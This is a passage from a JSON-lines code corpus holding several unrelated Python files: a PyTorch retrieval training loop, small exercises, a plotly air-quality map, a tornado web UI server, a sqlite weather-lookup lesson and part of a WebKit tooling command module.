torch.optim.lr_scheduler.ExponentialLR(optimizer, gamma=exp_decay)\n _ = model.to(opt.device)\n model = DDP(model, device_ids=[opt.local_rank], output_device=opt.local_rank,\n find_unused_parameters=True)\n #if opt.mg:\n # model=nn.DataParallel(model,device_ids=[0,1,2,3]) \n \n Logger_file = os.path.join(directory,\"log.txt\")\n \n if opt.test:\n \n test_single_dataset(model)\n metric = ''\n AP,precision = test(test_loader, model, -1)\n precision = 'precision: ' + str(precision)\n metric += precision\n AP = '\\tAverage Precisioni: ' + str(AP)\n metric += AP\n print(metric)\n with open(Logger_file,'a') as f:\n f.write(metric+'\\n')\n for epoch in range(EPOCHS):\n \n if opt.loss != 'cross':\n train_loader.dataset.create_tuple()\n print('tuple created finished!')\n train(train_loader,model,epoch,criterion,criterion_cls,optimizer,opt,criterion_metric)\n else:\n train(train_loader,model,epoch,criterion,criterion_cls,optimizer,opt)\n scheduler.step()\n torch.cuda.empty_cache()\n \n # metric = test_single_dataset(model)\n metric = ''\n AP,precision = test(test_loader, model, -1)\n precision = 'precision: ' + str(precision)\n metric += precision\n AP = '\\t Average Precision: ' + str(AP)\n metric += AP \n with open(Logger_file,'a') as f:\n f.write(metric+'\\n')\n #f.write(\"epoch:{}\\tAP@m:{}\\tPrecision:{}\\tmAP:{}\\trecall:{}\\n\".format(epoch,AP,precision,mAP,recall))\n path = os.path.join(directory,'model_epoch_{}.pth'.format(epoch))\n if isinstance(model,DataParallel):\n torch.save(model.module.state_dict(),path)\n else:\n torch.save(model.state_dict(),path)\n \n #if epoch%2 == 1:\n # for i in range(len(optimizer.param_groups)):\n # optimizer.param_groups[i]['lr'] /= 2\n \n\ndef train(train_loader,model,epoch,criterion,criterion_cls, optimizer,opt, criterion_metric=None):\n batch_time = AverageMeter()\n train_loss = AverageMeter()\n m_loss = AverageMeter() \n cls_loss = AverageMeter()\n end = time.time()\n model.train()\n\n for step, (x, cls) in enumerate(train_loader):\n batch_time.update(time.time() - end)\n end = time.time()\n x = x.squeeze()\n cls = cls.squeeze()\n \n x = x.cuda()\n out_m,out_cls = model(x)\n \n \n loss = (1-opt.lamda)*criterion_cls(out_cls,cls.cuda())#分类损失\n \n cls_loss.update(loss.item())\n if criterion_metric != None:\n metric_loss = opt.lamda*criterion_metric(out_m,cls)#度量损失\n m_loss.update(metric_loss.item())\n loss = loss + metric_loss\n\n train_loss.update(loss.item())\n optimizer.zero_grad()\n loss.backward()\n torch.nn.utils.clip_grad_norm_(parameters=model.parameters(), max_norm=20, norm_type=2)\n optimizer.step()\n lr = optimizer.param_groups[0]['lr']\n if step % 100 == 0 and step != 0:\n print('>> Train: [{0}][{1}/{2}]\\tlr: {3}\\t'\n 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\n 'Loss {train_loss.val:.3f} ({train_loss.avg:.3f})\\t'\n 'Metric loss {m_loss.val:.3f} ({m_loss.avg:.3f})\\t'\n 'Class loss {cls_loss.val:.3f} ({cls_loss.avg:.3f})\\t'\n .format(\n epoch+1, step+1, len(train_loader),lr, batch_time=batch_time,\n train_loss=train_loss,m_loss=m_loss,cls_loss=cls_loss))\n\ndef test(test_loader, model, epoch):\n print('>> Evaluating network on test datasets...')\n batch_time = AverageMeter()\n data_time = AverageMeter()\n end = time.time()\n model.eval()\n ap_meter = AveragePrecisionMeter(False)\n precision = PrecisionMeter(False)\n right = 0\n cnt = 0\n dataset = []\n gt = []\n for step, (x, lbl) in enumerate(test_loader):\n batch_time.update(time.time() - end)\n end = time.time()\n x = x.cuda()\n x = x.contiguous()\n\n with torch.no_grad():\n embd, out = model(x)\n dataset.extend(embd.unsqueeze(0))\n gt.extend(lbl)\n \n target = lbl.cuda()\n output = out.argmax(dim = 1)\n precision = target == output\n right += sum(precision)\n cnt += len(precision)\n\n precision = float(right)/cnt\n if step % 100 == 0:\n print('>> Test: [{0}][{1}/{2}]\\t precision: {3}\\t'\n 'Time {batch_time.val:.3f} ({batch_time.avg:.3f})\\t'\n 'Data {data_time.val:.3f} ({data_time.avg:.3f})\\t'\n .format(\n epoch+1, step+1, len(test_loader), precision, batch_time=batch_time,\n data_time=data_time))\n dataset = torch.cat(dataset,dim=0)\n gt = np.reshape(gt,-1)\n AP, recall = Test_mAP(dataset,gt)\n return AP, precision\nif __name__=='__main__':\n main()\n","repo_name":"interestingzhuo/OnlinePruductRetrieval","sub_path":"main_DDP.py","file_name":"main_DDP.py","file_ext":"py","file_size_in_byte":10781,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"67"} +{"seq_id":"35012963753","text":"def drugie(set1, set2):\n return sorted(set1 & set2)\n\n\ncubs = [int(i) for i in input().split()]\nnotSame = set()\nanny = set()\nborya = set()\nsame = []\nfor i in range(cubs[0]):\n a = int(input())\n notSame.add(a)\n anny.add(a)\nfor i in range(cubs[1]):\n a = int(input())\n\n if a in notSame:\n anny.remove(a)\n same.append(a)\n else:\n notSame.add(a)\n borya.add(a)\nprint(len(same))\nprint(*sorted(same))\ndrAnny = drugie(anny, notSame)\ndrBorya = drugie(borya, notSame)\nprint(len(drAnny))\nprint(*drAnny)\nprint(len(drBorya))\nprint(*drBorya)\n","repo_name":"Midnight1Knight/HSE-course","sub_path":"SeventhWeek/Task5.py","file_name":"Task5.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"25701840724","text":"# Corutines\nimport time\n\n\ndef player():\n val = 0\n while True:\n time.sleep(0.5)\n if val % 7:\n val = yield '', val\n else:\n val = yield 'pass', val\n val += 1\n\n\ndef game_start(max):\n players = (player(), player())\n for p in players:\n next(p)\n cnt = 0\n val = 0\n try:\n while cnt < max:\n for num, p in enumerate(players):\n cnt += 1\n seven, val = p.send(val)\n res = seven or val\n print('p%s: %s' % (num, res))\n finally:\n for p in players:\n p.close()\n","repo_name":"fangnahz/learning-python","sub_path":"notes/corutine.py","file_name":"corutine.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"17832000855","text":"# Import your libraries as required not all are needed*\nimport cufflinks as cf\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom plotly.offline import download_plotlyjs,plot,iplot,init_notebook_mode\ninit_notebook_mode(connected=True)\ncf.go_offline()\n\nfrom plotly import graph_objs as go\n\n# Load data frame and tidy it.\n# Air Quality Dataset from Kaggle 1980 - 2017\ndf = pd.read_csv(\"epa_air_quality_annual_summary.csv\")\ndf1=df.dropna()#.head(1000)\n\n\n\nstate_codes = {\n 'District of Columbia' : 'DC','Mississippi': 'MS', 'Oklahoma': 'OK',\n 'Delaware': 'DE', 'Minnesota': 'MN', 'Illinois': 'IL', 'Arkansas': 'AR',\n 'New Mexico': 'NM', 'Indiana': 'IN', 'Maryland': 'MD', 'Louisiana': 'LA',\n 'Idaho': 'ID', 'Wyoming': 'WY', 'Tennessee': 'TN', 'Arizona': 'AZ',\n 'Iowa': 'IA', 'Michigan': 'MI', 'Kansas': 'KS', 'Utah': 'UT',\n 'Virginia': 'VA', 'Oregon': 'OR', 'Connecticut': 'CT', 'Montana': 'MT',\n 'California': 'CA', 'Massachusetts': 'MA', 'West Virginia': 'WV',\n 'South Carolina': 'SC', 'New Hampshire': 'NH', 'Wisconsin': 'WI',\n 'Vermont': 'VT', 'Georgia': 'GA', 'North Dakota': 'ND',\n 'Pennsylvania': 'PA', 'Florida': 'FL', 'Alaska': 'AK', 'Kentucky': 'KY',\n 'Hawaii': 'HI', 'Nebraska': 'NE', 'Missouri': 'MO', 'Ohio': 'OH',\n 'Alabama': 'AL', 'Rhode Island': 'RI', 'South Dakota': 'SD',\n 'Colorado': 'CO', 'New Jersey': 'NJ', 'Washington': 'WA',\n 'North Carolina': 'NC', 'New York': 'NY', 'Texas': 'TX',\n 'Nevada': 'NV', 'Maine': 'ME'}\n\ndata=dict(type='choropleth',\n locations=list(state_codes.values()),\n # plotly does not take state names rather codes, can use fif codes with county\n locationmode='USA-states',\n colorscale='Portland',\n text=\"Pollutant: \" + df1['parameter_name'] + '
' + \"Year: \" + df1['year'].apply(str) + \\\n '
' + \"Observation Percent: \" + df1['observation_percent'].apply(str) ,\n z = df1['seventy_five_percentile'].astype(float),\n colorbar={'title':'Pollutant Concentration Index'})\n\nlayout = dict(geo={'scope':'usa'})\n\nchoromap = go.Figure(data=[data], layout=layout)\n\niplot(choromap)\n","repo_name":"sarojbe/Data-Viz","sub_path":"choropleth.py","file_name":"choropleth.py","file_ext":"py","file_size_in_byte":2155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"19015493399","text":"#!/usr/bin/env python\n# -*- coding: utf_8 -*-\n\"\"\"Web UI and server.\"\"\"\nimport os\nimport sys\n\nimport tornado\n\nfrom http_tools.web.controllers.index import (\n KillHandler,\n MainHandler,\n)\nfrom http_tools.web.controllers.dashboard import (\n DashboardHandler,\n FlowMetaHandler,\n RepeatHandler,\n)\nimport http_tools.settings as settings\n\n\nclass Application(tornado.web.Application):\n\n def __init__(self):\n handlers = [\n (r'/', MainHandler),\n (r'/dashboard', DashboardHandler),\n (r'/dashboard/(.*)', DashboardHandler),\n (r'/flow_meta', FlowMetaHandler),\n (r'/repeat/(.*)', RepeatHandler),\n (r'/kill', KillHandler),\n ]\n app_settings = {\n 'template_path': os.path.join(settings.BASE_PATH,\n 'web/assets/templates/'),\n 'static_path': os.path.join(settings.BASE_PATH,\n 'web/assets/static/'),\n 'debug': True,\n }\n tornado.web.Application.__init__(self, handlers, **app_settings)\n\n\niloop = tornado.ioloop.IOLoop()\n\n\ndef run_server(host, port):\n print('Started Web GUI at {}:{}'.format(host, port))\n web_server = Application()\n web_server.listen(port, address=host)\n iloop.current().start()\n\n\ndef stop_server(*args, **kwargs):\n if iloop:\n iloop.current().stop()\n sys.exit(0)\n","repo_name":"MobSF/httptools","sub_path":"http_tools/web/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1420,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"67"} +{"seq_id":"21190256035","text":"# import sqlite3 as sql\n#\n# db = sql. connect('lesson_3.db')\n# cursor = db.cursor()\n#\n# cursor.executescript('''\n# drop table if exists users;\n# drop table if exists courses;\n#\n# create table if not exists courses(\n# course_id integer primary key autoincrement,\n# course_name text\n# );\n#\n# create table if not exists users(\n# user_id integer primary key autoincrement,\n# full_name text,\n# course_id integer references coursers(course_id)\n# );\n#\n# insert into courses(course_name)\n# values('Python');\n#\n# insert into users(full_name, course_id)\n# values ('Toxir Toxirov', 1);\n#\n# ''')\n#\n# user = 'Sobir Sobirov'\n#\n# cursor.execute(f'''\n# insert into users(full_name, course_id)\n# values (?, 1)\n# ''', (user,))\n#\n#\n# cursor.execute('''\n# select * from users;\n# ''')\n#\n# users = cursor.fetchall()\n# for user in users:\n# print(user[1])\n#\n# cursor.execute('''\n# select count(user_id) from users;\n# ''')\n#\n# count_users = cursor.fetchone()\n# print(count_users[0], 'ta foydalanuvchi bor')\n#\n# db.commit()\n# db.close()\n\n#------------------------------------------------------\nimport datetime\nimport sqlite3 as sql\nimport requests\nfrom pprint import pprint\n\ndb = sql.connect('weather.db')\ncursor = db.cursor()\n\ncursor.executescript('''\ndrop table if exists cities;\ncreate table if not exists cities(\n city_id integer primary key autoincrement, \n name text, \n weather float,\n date text\n);\n''')\n\n# city_name = 'Tashkent'\n# api_key = '996eacfc4d2746453ee42dbe41943ab8'\n\nparameters = {\n 'appid': '996eacfc4d2746453ee42dbe41943ab8',\n 'units': 'metric'\n}\n\nwhile True:\n city_name = input(\"Shahar nomini kiriting: \")\n\n if city_name == 'stop':\n print(\"Dastur toxtadi!!!\")\n break\n\n parameters['q'] = city_name\n try:\n response = requests.get(f'https://api.openweathermap.org/data/2.5/weather', params=parameters)\n data = response.json()\n\n name = data['name']\n temp = data['main']['temp']\n date = datetime.datetime.now().strftime('%d/%m/%Y %H:%M:%S')\n\n cursor.execute('''\n insert into cities(name, weather, date)\n values (?, ?, ?)\n ''', (name, temp, date))\n\n print(f'''\n{name.title()} shahrida temperatura {temp} gradus.\nvaqt: {date}\n''')\n except:\n print(\"shahar nomi notogri kiritildi!\")\n\n # print(name, temp, date)\n\ndb.commit()\ndb.close()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"Sherzodbek1717/PROWEB","sub_path":"3_month/lesson 3/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"14601251820","text":"from __future__ import print_function\nimport fnmatch\nimport logging\nimport re\n\nfrom datetime import datetime\nfrom optparse import make_option\n\nfrom webkitpy.tool import steps\n\nfrom webkitpy.common.checkout.commitinfo import CommitInfo\nfrom webkitpy.common.config.committers import CommitterList\nimport webkitpy.common.config.urls as config_urls\nfrom webkitpy.common.net.buildbot import BuildBot\nfrom webkitpy.common.net.bugzilla import Bugzilla\nfrom webkitpy.common.net.regressionwindow import RegressionWindow\nfrom webkitpy.common.system.crashlogs import CrashLogs\nfrom webkitpy.common.system.user import User\nfrom webkitpy.tool.commands.abstractsequencedcommand import AbstractSequencedCommand\nfrom webkitpy.tool.grammar import pluralize\nfrom webkitpy.tool.multicommandtool import Command\nfrom webkitpy.layout_tests.models.test_expectations import TestExpectations\nfrom webkitpy.port import platform_options, configuration_options\n\n_log = logging.getLogger(__name__)\n\n\nclass SuggestReviewers(AbstractSequencedCommand):\n name = \"suggest-reviewers\"\n help_text = \"Suggest reviewers for a patch based on recent changes to the modified files.\"\n steps = [\n steps.SuggestReviewers,\n ]\n\n def _prepare_state(self, options, args, tool):\n options.suggest_reviewers = True\n\n\nclass BugsToCommit(Command):\n name = \"bugs-to-commit\"\n help_text = \"List bugs in the commit-queue\"\n\n def execute(self, options, args, tool):\n # FIXME: This command is poorly named. It's fetching the commit-queue list here. The name implies it's fetching pending-commit (all r+'d patches).\n bug_ids = tool.bugs.queries.fetch_bug_ids_from_commit_queue()\n for bug_id in bug_ids:\n print(\"%s\" % bug_id)\n\n\nclass PatchesInCommitQueue(Command):\n name = \"patches-in-commit-queue\"\n help_text = \"List patches in the commit-queue\"\n\n def execute(self, options, args, tool):\n patches = tool.bugs.queries.fetch_patches_from_commit_queue()\n _log.info(\"Patches in commit queue:\")\n for patch in patches:\n print(patch.url())\n\n\nclass PatchesToCommitQueue(Command):\n name = \"patches-to-commit-queue\"\n help_text = \"Patches which should be added to the commit queue\"\n\n def __init__(self):\n options = [\n make_option(\"--bugs\", action=\"store_true\", dest=\"bugs\", help=\"Output bug links instead of patch links\"),\n ]\n Command.__init__(self, options=options)\n\n @staticmethod\n def _needs_commit_queue(patch):\n if patch.commit_queue() == \"+\": # If it's already cq+, ignore the patch.\n _log.info(\"%s already has cq=%s\" % (patch.id(), patch.commit_queue()))\n return False\n\n # We only need to worry about patches from contributers who are not yet committers.\n committer_record = CommitterList().committer_by_email(patch.attacher_email())\n if committer_record:\n _log.info(\"%s committer = %s\" % (patch.id(), committer_record))\n return not committer_record\n\n def execute(self, options, args, tool):\n patches = tool.bugs.queries.fetch_patches_from_pending_commit_list()\n patches_needing_cq = filter(self._needs_commit_queue, patches)\n if options.bugs:\n bugs_needing_cq = map(lambda patch: patch.bug_id(), patches_needing_cq)\n bugs_needing_cq = sorted(set(bugs_needing_cq))\n for bug_id in bugs_needing_cq:\n print(\"%s\" % tool.bugs.bug_url_for_bug_id(bug_id))\n else:\n for patch in patches_needing_cq:\n print(\"%s\" % tool.bugs.attachment_url_for_id(patch.id(), action=\"edit\"))\n\n\nclass PatchesToReview(Command):\n name = \"patches-to-review\"\n help_text = \"List bugs which have attachments pending review\"\n\n def __init__(self):\n options = [\n make_option(\"--all\", action=\"store_true\",\n help=\"Show all bugs regardless of who is on CC (it might take a while)\"),\n make_option(\"--include-cq-denied\", action=\"store_true\",\n help=\"By default, r? patches with cq- are omitted unless this option is set\"),\n make_option(\"--cc-email\",\n help=\"Specifies the email on the CC field (defaults to your bugzilla login email)\"),\n ]\n Command.__init__(self, options=options)\n\n def _print_report(self, report, cc_email, print_all):\n if print_all:\n print(\"Bugs with attachments pending review:\")\n else:\n print(\"Bugs with attachments pending review that has %s in the CC list:\" % cc_email)\n\n print(\"http://webkit.org/b/bugid Description (age in days)\")\n for row in report:\n print(\"%s (%d)\" % (row[1], row[0]))\n\n print(\"Total: %d\" % len(report))\n\n def _generate_report(self, bugs, include_cq_denied):\n report = []\n\n for bug in bugs:\n patch = bug.unreviewed_patches()[-1]\n\n if not include_cq_denied and patch.commit_queue() == \"-\":\n continue\n\n age_in_days = (datetime.today() - patch.attach_date()).days\n report.append((age_in_days, \"http://webkit.org/b/%-7s %s\" % (bug.id(), bug.title())))\n\n report.sort()\n return report\n\n def execute(self, options, args, tool):\n tool.bugs.authenticate()\n\n cc_email = options.cc_email\n if not cc_email and not options.all:\n cc_email = tool.bugs.username\n\n bugs = tool.bugs.queries.fetch_bugs_from_review_queue(cc_email=cc_email)\n report = self._generate_report(bugs, options.include_cq_denied)\n self._print_report(report, cc_email, options.all)\n\n\nclass WhatBroke(Command):\n name = \"what-broke\"\n help_text = \"Print failing buildbots (%s) and what revisions broke them\" % config_urls.buildbot_url\n\n def _print_builder_line(self, builder_name, max_name_width, status_message):\n print(\"%s : %s\" % (builder_name.ljust(max_name_width), status_message))\n\n def _print_blame_information_for_builder(self, builder_status, name_width, avoid_flakey_tests=True):\n builder = self._tool.buildbot.builder_with_name(builder_status[\"name\"])\n red_build = builder.build(builder_status[\"build_number\"])\n regression_window = builder.find_regression_window(red_build)\n if not regression_window.failing_build():\n self._print_builder_line(builder.name(), name_width, \"FAIL (error loading build information)\")\n return\n if not regression_window.build_before_failure():\n self._print_builder_line(builder.name(), name_width, \"FAIL (blame-list: sometime before %s?)\" % regression_window.failing_build().revision())\n return\n\n revisions = regression_window.revisions()\n first_failure_message = \"\"\n if (regression_window.failing_build() == builder.build(builder_status[\"build_number\"])):\n first_failure_message = \" FIRST FAILURE, possibly a flaky test\"\n self._print_builder_line(builder.name(), name_width, \"FAIL (blame-list: %s%s)\" % (revisions, first_failure_message))\n for revision in revisions:\n commit_info = self._tool.checkout().commit_info_for_revision(revision)\n if commit_info:\n print(commit_info.blame_string(self._tool.bugs))\n else:\n print(\"FAILED to fetch CommitInfo for r%s, likely missing ChangeLog\" % revision)\n\n def execute(self, options, args, tool):\n builder_statuses = tool.buildbot.builder_statuses()\n longest_builder_name = max(map(len, map(lambda builder: builder[\"name\"], builder_statuses)))\n failing_builders = 0\n for builder_status in builder_statuses:\n # If the builder is green, print OK, exit.\n if builder_status[\"is_green\"]:\n continue\n self._print_blame_information_for_builder(builder_status, name_width=longest_builder_name)\n failing_builders += 1\n if failing_builders:\n print(\"%s of %s are failing\" % (failing_builders, pluralize(len(builder_statuses), \"builder\")))\n else:\n print(\"All builders are passing!\")\n\n\nclass ResultsFor(Command):\n name = \"results-for\"\n help_text = \"Print a list of failures for the passed revision from bots on %s\" % config_urls.buildbot_url\n argument_names = \"REVISION\"\n\n def _print_layout_test_results(self, results):\n if not results:\n print(\" No results.\")\n return\n for title, files in results.parsed_results().items():\n print(\" %s\" % title)\n for filename in files:\n print(\" %s\" % filename)\n\n def execute(self, options, args, tool):\n builders = self._tool.buildbot.builders()\n for builder in builders:\n print(\"%s:\" % builder.name())\n build = builder.build_for_revision(args[0], allow_failed_lookups=True)\n self._print_layout_test_results(build.layout_test_results())\n\n\nclass FailureReason(Command):\n name = \"failure-reason\"\n help_text = \"Lists revisions where individual test failures started at %s\" % config_urls.buildbot_url\n arguments_names = \"[LAYOUT_TESTS]\"\n\n def _blame_line_for_revision(self, revision):\n try:\n commit_info = self._tool.checkout().commit_info_for_revision(revision)\n except Exception as e:\n return \"FAILED to fetch CommitInfo for r%s, exception: %s\" % (revision, e)\n if not commit_info:\n return \"FAILED to fetch CommitInfo for r%s, likely missing ChangeLog\" % revision\n return commit_info.blame_string(self._tool.bugs)\n\n def _print_blame_information_for_transition(self, regression_window, failing_tests):\n red_build = regression_window.failing_build()\n print(\"SUCCESS: Build %s (r%s) was the first to show failures: %s\" % (red_build._number, red_build.revision(), failing_tests))\n print(\"Suspect revisions:\")\n for revision in regression_window.revisions():\n print(self._blame_line_for_revision(revision))\n\n def _explain_failures_for_builder(self, builder, start_revision):\n print(\"Examining failures for \\\"%s\\\", starting at r%s\" % (builder.name(), start_revision))\n revision_to_test = start_revision\n build = builder.build_for_revision(revision_to_test, allow_failed_lookups=True)\n layout_test_results = build.layout_test_results()\n if not layout_test_results:\n # FIXME: This could be made more user friendly.\n print(\"Failed to load layout test results from %s; can't continue. (start revision = r%s)\" % (build.results_url(), start_revision))\n return 1\n\n results_to_explain = set(layout_test_results.failing_tests())\n last_build_with_results = build\n print(\"Starting at %s\" % revision_to_test)\n while results_to_explain and not self._done_explaining():\n revision_to_test -= 1\n new_build = builder.build_for_revision(revision_to_test, allow_failed_lookups=True)\n if not new_build:\n print(\"No build for %s\" % revision_to_test)\n continue\n build = new_build\n latest_results = build.layout_test_results()\n if not latest_results:\n print(\"No results build %s (r%s)\" % (build._number, build.revision()))\n continue\n failures = set(latest_results.failing_tests())\n if len(failures) >= 500:\n # FIXME: We may need to move this logic into the LayoutTestResults class.\n # The buildbot stops runs after 500 failures so we don't have full results to work with here.\n print(\"Too many failures in build %s (r%s), ignoring.\" % (build._number, build.revision()))\n continue\n fixed_results = results_to_explain - failures\n if not fixed_results:\n print(\"No change in build %s (r%s), %s unexplained failures (%s in this build)\" % (build._number, build.revision(), len(results_to_explain), len(failures)))\n last_build_with_results = build\n continue\n self.explained_failures.update(fixed_results)\n regression_window = RegressionWindow(build, last_build_with_results)\n self._print_blame_information_for_transition(regression_window, fixed_results)\n last_build_with_results = build\n results_to_explain -= fixed_results\n if results_to_explain:\n print(\"Failed to explain failures: %s\" % results_to_explain)\n return 1\n print(\"Explained all results for %s\" % builder.name())\n return 0\n\n def _builder_to_explain(self):\n builder_statuses = self._tool.buildbot.builder_statuses()\n red_statuses = [status for status in builder_statuses if not status[\"is_green\"]]\n print(\"%s failing\" % (pluralize(len(red_statuses), \"builder\")))\n builder_choices = [status[\"name\"] for status in red_statuses]\n # We could offer an \"All\" choice here.\n chosen_name = self._tool.user.prompt_with_list(\"Which builder to diagnose:\", builder_choices)\n # FIXME: prompt_with_list should really take a set of objects and a set of names and then return the object.\n for status in red_statuses:\n if status[\"name\"] == chosen_name:\n return (self._tool.buildbot.builder_with_name(chosen_name), status[\"built_revision\"])\n\n def _done_explaining(self):\n if not self.failures_to_explain:\n return False\n\n return self.explained_failures.issuperset(self.failures_to_explain)\n\n def execute(self, options, args, tool):\n (builder, latest_revision) = self._builder_to_explain()\n start_revision = self._tool.user.prompt(\"Revision to walk backwards from? [%s] \" % latest_revision) or latest_revision\n self.failures_to_explain = args\n self.explained_failures = set()\n if not start_revision:\n print(\"Revision required.\")\n return 1\n return self._explain_failures_for_builder(builder, start_revision=int(start_revision))\n\n\nclass FindFlakyTests(Command):\n name = \"find-flaky-tests\"\n help_text = \"Lists tests that often fail for a single build at %s\" % config_urls.buildbot_url\n\n def _find_failures(self, builder, revision):\n build = builder.build_for_revision(revision, allow_failed_lookups=True)\n if not build:\n print(\"No build for %s\" % revision)\n return (None, None)\n results = build.layout_test_results()\n if not results:\n print(\"No results build %s (r%s)\" % (build._number, build.revision()))\n return (None, None)\n failures = set(results.failing_tests())\n if len(failures) >= 20:\n # FIXME: We may need to move this logic into the LayoutTestResults class.\n # The buildbot stops runs after 20 failures so we don't have full results to work with here.\n print(\"Too many failures in build %s (r%s), ignoring.\" % (build._number, build.revision()))\n return (None, None)\n return (build, failures)\n\n def _increment_statistics(self, flaky_tests, flaky_test_statistics):\n for test in flaky_tests:\n count = flaky_test_statistics.get(test, 0)\n flaky_test_statistics[test] = count + 1\n\n def _print_statistics(self, statistics):\n print(\"=== Results ===\")\n print(\"Occurrences Test name\")\n for value, key in sorted([(value, key) for key, value in statistics.items()]):\n print(\"%10d %s\" % (value, key))\n\n def _walk_backwards_from(self, builder, start_revision, limit):\n flaky_test_statistics = {}\n all_previous_failures = set([])\n one_time_previous_failures = set([])\n previous_build = None\n for i in range(limit):\n revision = start_revision - i\n print(\"Analyzing %s ... \" % revision, end=' ')\n (build, failures) = self._find_failures(builder, revision)\n if failures == None:\n # Notice that we don't loop on the empty set!\n continue\n print(\"has %s failures\" % len(failures))\n flaky_tests = one_time_previous_failures - failures\n if flaky_tests:\n print(\"Flaky tests: %s %s\" % (sorted(flaky_tests),\n previous_build.results_url()))\n self._increment_statistics(flaky_tests, flaky_test_statistics)\n one_time_previous_failures = failures - all_previous_failures\n all_previous_failures = failures\n previous_build = build\n self._print_statistics(flaky_test_statistics)\n\n def _builder_to_analyze(self):\n statuses = self._tool.buildbot.builder_statuses()\n choices = [status[\"name\"] for status in statuses]\n chosen_name = self._tool.user.prompt_with_list(\"Which builder to analyze:\", choices)\n for status in statuses:\n if status[\"name\"] == chosen_name:\n return (self._tool.buildbot.builder_with_name(chosen_name), status[\"built_revision\"])\n\n def execute(self, options, args, tool):\n (builder, latest_revision) = self._builder_to_analyze()\n limit = self._tool.user.prompt(\"How many revisions to look through? [10000] \") or 10000\n return self._walk_backwards_from(builder, latest_revision, limit=int(limit))\n\n\nclass TreeStatus(Command):\n name = \"tree-status\"\n help_text = \"Print the status of the %s buildbots\" % config_urls.buildbot_url\n long_help = \"\"\"Fetches build status from https://build.webkit.org/one_box_per_builder\nand displayes the status of each builder.\"\"\"\n\n def execute(self, options, args, tool):\n for builder in tool.buildbot.builder_statuses():\n status_string = \"ok\" if builder[\"is_green\"] else \"FAIL\"\n print(\"%s : %s\" % (status_string.ljust(4), builder[\"name\"]))\n\n\nclass CrashLog(Command):\n name = \"crash-log\"\n help_text = \"Print the newest crash log for the given process\"\n long_help = \"\"\"Finds the newest crash log matching the given process name\nand PID and prints it to stdout.\"\"\"\n argument_names = \"PROCESS_NAME [PID]\"\n\n def execute(self, options, args, tool):\n default_port = tool.port_factory.get()\n crash_logs = CrashLogs(tool, default_port.path_to_crash_logs())\n pid = None\n if len(args) > 1:\n pid = int(args[1])\n print(crash_logs.find_newest_log(args[0], pid))\n\n\nclass PrintExpectations(Command):\n name = 'print-expectations'\n help_text = 'Print the expected result for the given test(s) on the given port(s)'\n\n def __init__(self):\n options = [\n make_option('--all', action='store_true', default=False,\n help='display the expectations for *all* tests'),\n make_option('-x', '--exclude-keyword', action='append', default=[],\n help='limit to tests not matching the given keyword (for example, \"skip\", \"slow\", or \"crash\". May specify multiple times'),\n make_option('-i', '--include-keyword', action='append', default=[],\n help='limit to tests with the given keyword (for example, \"skip\", \"slow\", or \"crash\". May specify multiple times'),\n make_option('-f', '--full', action='store_true', default=False,\n help='Print a full TestExpectations-style line for every match'),\n make_option('--paths', action='store_true', default=False,\n help='display the paths for all applicable expectation files'),\n ] + platform_options(use_globs=True)\n\n Command.__init__(self, options=options)\n self._expectation_models = {}\n\n def execute(self, options, args, tool):\n if not options.paths and not args and not options.all:\n print(\"You must either specify one or more test paths or --all.\")\n return\n\n if options.platform:\n port_names = fnmatch.filter(tool.port_factory.all_port_names(), options.platform)\n if not port_names:\n default_port = tool.port_factory.get(options.platform)\n if default_port:\n port_names = [default_port.name()]\n else:\n print(\"No port names match '%s'\" % options.platform)\n return\n else:\n default_port = tool.port_factory.get(port_names[0])\n else:\n default_port = tool.port_factory.get(options=options)\n port_names = [default_port.name()]\n\n if options.paths:\n files = default_port.expectations_files()\n layout_tests_dir = default_port.layout_tests_dir()\n for file in files:\n if file.startswith(layout_tests_dir):\n file = file.replace(layout_tests_dir, 'LayoutTests')\n print(file)\n return\n\n tests = set(default_port.tests(args))\n for port_name in port_names:\n model = self._model(options, port_name, tests)\n tests_to_print = self._filter_tests(options, model, tests)\n lines = [model.get_expectation_line(test) for test in sorted(tests_to_print)]\n if port_name != port_names[0]:\n print()\n print('\\n'.join(self._format_lines(options, port_name, lines)))\n\n def _filter_tests(self, options, model, tests):\n filtered_tests = set()\n if options.include_keyword:\n for keyword in options.include_keyword:\n filtered_tests.update(model.get_test_set_for_keyword(keyword))\n else:\n filtered_tests = tests\n\n for keyword in options.exclude_keyword:\n filtered_tests.difference_update(model.get_test_set_for_keyword(keyword))\n return filtered_tests\n\n def _format_lines(self, options, port_name, lines):\n output = []\n if lines:\n include_modifiers = options.full\n include_expectations = options.full or len(options.include_keyword) != 1 or len(options.exclude_keyword)\n output.append(\"// For %s\" % port_name)\n for line in lines:\n output.append(\"%s\" % line.to_string(None, include_modifiers, include_expectations, include_comment=False))\n return output\n\n def _model(self, options, port_name, tests):\n port = self._tool.port_factory.get(port_name, options)\n expectations = TestExpectations(port, tests)\n expectations.parse_all_expectations()\n return expectations.model()\n\n\nclass PrintBaselines(Command):\n name = 'print-baselines'\n help_text = 'Prints the baseline locations for given test(s) on the given port(s)'\n\n def __init__(self):\n options = [\n make_option('--all', action='store_true', default=False,\n help='display the baselines for *all* tests'),\n ] + platform_options(use_globs=True)\n Command.__init__(self, options=options)\n self._platform_regexp = re.compile('platform/([^\\/]+)/(.+)')\n\n def execute(self, options, args, tool):\n if not args and not options.all:\n print(\"You must either specify one or more test paths or --all.\")\n return\n\n default_port = tool.port_factory.get()\n if options.platform:\n port_names = fnmatch.filter(tool.port_factory.all_port_names(), options.platform)\n if not port_names:\n print(\"No port names match '%s'\" % options.platform)\n else:\n port_names = [default_port.name()]\n\n # FIXME: make real_tests() a public method.\n tests = 